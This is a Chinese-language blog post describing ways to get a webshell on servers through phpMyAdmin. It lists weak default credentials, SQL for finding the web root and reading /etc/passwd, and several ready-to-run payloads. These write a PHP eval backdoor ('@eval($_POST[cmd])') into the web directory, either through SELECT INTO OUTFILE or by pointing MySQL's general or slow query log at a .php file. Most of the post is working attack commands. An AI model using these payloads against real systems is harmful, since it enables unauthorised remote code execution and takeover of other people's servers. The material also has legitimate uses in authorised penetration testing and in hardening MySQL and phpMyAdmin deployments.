phpmyadmin-getshell姿势


1. phpmyadmin

phpMyAdmin 是一个用 PHP 编写的开源工具,旨在通过 Web 界面管理 MySQL 和 MariaDB 数据库。

2. getshell

image.png

2.1 弱口令

root:root
root:(space)
mysql:mysql

2.2 写shell

(1) 当前的数据库用户有写权限
(2) 知道web绝对路径
(3) web路径能写 secrue_file_priv不被设置

2.2.1 权限查看

权限可以看看phpmyadmin的一些权限控制
image.png

2.2.2变量查看
1
show variables like '%secure%';

如果secure_file_priv没有任何设置,则我们可以写马但是如果设置了对应的文件,我们就无法写入
image.png

2.2.3 网站路径
  1. phpinfo
DOCUMENT_ROOT C:/phpStudy/WWW
2. 报错信息
3. 框架
4. 爆破
利用数据库路径去爆破猜测
1
2
# 这是数据库的路径条件依照这个猜测网站根目录 
show variables like '%datadir%';

利用sql语句去猜测爆破

1
2
3
4
5
6
7
8
9
10
针对路径进行fuzz 
select 'test' into outfile '/var/www/$fuzz$/shell.php';

load data infile "/etc/passwd" into table test;
加载文件内容进入到执行的数据库表

/*
不存在将会报错Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);
如果存在但是目录写不进去将返回(Errcode: 13);没权限
*/
2.2.4 shell写入
1
select '<?php echo 1;@eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/WWW/shell.php';

3. 通用查询日志shell

mysql可以设置通用日志文件,他跟直接利用LOAD DATA INFILE 和 SELECT INTO OUTFILE等写入操作的语句不同,它不受secrue_file_priv的影响。只要我们有权限并且知道绝对路径就可以。

1
2
3
4
5
6

set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpStudy/WWW/404.php";
select "<?php phpinfo();@eval($_POST['cmd']);?>";#一次没成功就把这句再执行

相当于把mysql的日志功能给利用上了,将日志文件指定成php文件,再利用web的绝对路径然后进行解析.

4. 慢查询日志

1
2
3
4
set GLOBAL slow_query_log=on;
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/phpStudy/WWW/slow.php';
select '<?php phpinfo();?>' from mysql.db where sleep(10);

文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录